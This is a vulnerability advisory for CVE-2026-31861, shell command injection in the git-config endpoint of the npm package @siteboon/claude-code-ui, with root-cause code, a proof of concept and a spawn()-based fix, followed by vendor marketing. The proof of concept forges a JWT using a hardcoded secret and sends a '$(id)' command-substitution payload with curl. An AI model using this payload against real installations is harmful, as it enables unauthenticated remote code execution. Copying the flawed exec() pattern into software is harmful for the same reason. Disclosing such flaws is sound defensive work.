Summary
@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes
Shell Command Injection in User Git Config Endpoint
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 8.8 (High), when chained with VULN-01 |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Attack Vector | Network |
| Authentication | JWT required (bypassable via VULN-01) |
| Affected Files | server/routes/user.js (lines 58-59) |
Description
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
Root Cause
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);
Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
`malicious_command`, backtick execution$(malicious_command), subshell execution
Proof of Concept
# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"[email protected]"}'
The server executes:
git config --global user.name "$(id)"
Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Impact
- Remote Code Execution (RCE), arbitrary OS commands execute as the Node.js process user
- The
git config --globalvector modifies the server-wide git configuration, affecting all git operations - When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
Frequently Asked Questions
- What is CVE-2026-31861? CVE-2026-31861 is a high-severity code injection vulnerability in @siteboon/claude-code-ui (npm), affecting versions <= 1.23.0. It is fixed in 1.24.0. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which versions of @siteboon/claude-code-ui are affected by CVE-2026-31861? @siteboon/claude-code-ui (npm) versions <= 1.23.0 is affected.
- Is there a fix for CVE-2026-31861? Yes. CVE-2026-31861 is fixed in 1.24.0. Upgrade to this version or later.
- Is CVE-2026-31861 exploitable, and should I be worried? Whether CVE-2026-31861 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-31861 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-31861? Upgrade
@siteboon/claude-code-uito 1.24.0 or later.